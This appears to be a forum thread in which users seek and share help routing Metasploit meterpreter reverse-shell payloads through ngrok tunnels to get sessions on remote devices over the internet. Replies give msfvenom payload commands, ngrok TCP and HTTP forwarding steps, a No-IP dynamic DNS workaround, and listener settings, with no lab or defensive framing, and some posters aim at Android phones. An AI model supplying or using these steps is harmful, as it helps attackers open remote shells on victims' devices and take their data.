Forum Thread: How to Use NGROK in a Reverse_Tcp Attack?

I was thinking of using ngrok in a reverse_tcp attack over the internet on Kali Linux. But couldn't do so, I didn't get an open session, I use the ngrok url in place of the LHOST while creating the payload.

Can anyone help ?

11 Responses


Actually I have some problems with port forwarding that is why I can't use no-ip..... But ngrok works smoothly and also port forwards properly...

Though your tutorial was really impressive and informative.

yah it port forwards good set tools never worked i cant portforwards untill i used ngrok

how we can use dns in reverse_tcp !!?
i cant

I exactly have the same problem, I use Ngrok to forward the connection to localhost
as I cant forward any port on my router (too bad... old one!)

but when I set the LHOST to ngrok url and LPORT 80 in creating the payload with msfvenom I cant get a session on the console :(

what do you suggest guys ? can I use the same reversetcpdns on android ??

Hay i alsoo try every thing but can't get the meterpreter section using internet with my mobile hotspot .plzz show me the way ,for wan.

You should not cuz it changes lport and ilost everytime you run it

Hi to use ngrok in a tcp android payload (for example) you need to type :
./ngrok tcp <port>
You will get some thing like

Then make the payload with and LPORT=17565

For the listener use : lhost and lport <port> (The one used at the top)

Enjoy my help its free ! :D

Are we supposed to create a New payload everytime? the port changes everytime I close the ngrok session

Yes you are supposed to create a new payload every time you close the ngrok session or you should buy a premium account perhaps

I think you could use No-IP with reverse_http (or https).
For example:
ngrok http 443
Forwarding -> localhost:443

Then create a Dynamic DNS:

Then you can just update your host, if you have a new ngrok session, and it would still work with the same payload.

Payload: msfvenom -p <platform>/meterpreter/reverse_http(s) lport=443 -o <file>

set payload <platform>/meterpreter/reverse_http(s)
set lhost
set lport 443

Hope it works ;)

Share Your Thoughts

  • Hot
  • Active